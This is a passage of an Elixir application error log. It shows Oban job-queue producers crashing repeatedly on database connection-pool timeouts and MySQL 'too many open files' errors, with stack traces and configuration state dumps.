dispatch_timer: #Reference<0.2525715032.1068498948.9214>, refresh_timer: #Reference<0.2525715032.1068498948.9200>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:29:24.239100Z], limit: 50, uuid: "be6e3e97-27e5-4276-ab82-6a92e18d7181", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.239107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9215>, refresh_timer: #Reference<0.2525715032.1068498948.9165>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:29:24.239879Z], limit: 20, uuid: "e312753e-e9dc-4c62-b06a-bd402f7214d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.239884Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.250840>, refresh_timer: #Reference<0.2525715032.1077411843.250837>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:29:24.239371Z], limit: 3, uuid: "15e5de64-c93c-47e5-b3a2-94f414f9ae50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.239376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9216>, refresh_timer: #Reference<0.2525715032.1068498948.9177>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:29:24.239986Z], limit: 5, uuid: "3e209a57-6923-42f9-990c-f3fe14f6afcd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.239992Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.250841>, refresh_timer: #Reference<0.2525715032.1121189889.118025>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:29:24.239100Z], limit: 5, uuid: "43c19ef5-303f-4046-817e-3263a47b0f31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.239107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9217>, refresh_timer: #Reference<0.2525715032.1099431938.18740>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:40.135000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:46.363000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:46.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:29:37.240300Z], limit: 3, uuid: "d0f9a916-90a2-473e-950a-8936e3e3cb1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.240309Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9530>, refresh_timer: #Reference<0.2525715032.1099431938.18978>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:29:37.240380Z], limit: 20, uuid: "8f1d43b8-1175-470a-bd62-1e128b2be65a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.240407Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.118153>, refresh_timer: #Reference<0.2525715032.1121189889.118137>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:49.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:29:37.240617Z], limit: 5, uuid: "57996fd3-9f30-4114-b7cd-67b73febb17d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.240625Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.118156>, refresh_timer: #Reference<0.2525715032.1077411843.250939>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:49.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:29:37.240689Z], limit: 5, uuid: "addccba2-f839-4056-9d96-e02f893d57c6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.240695Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.118154>, refresh_timer: #Reference<0.2525715032.1121189889.118142>, dispatch_cooldown: 5, running: %{}}
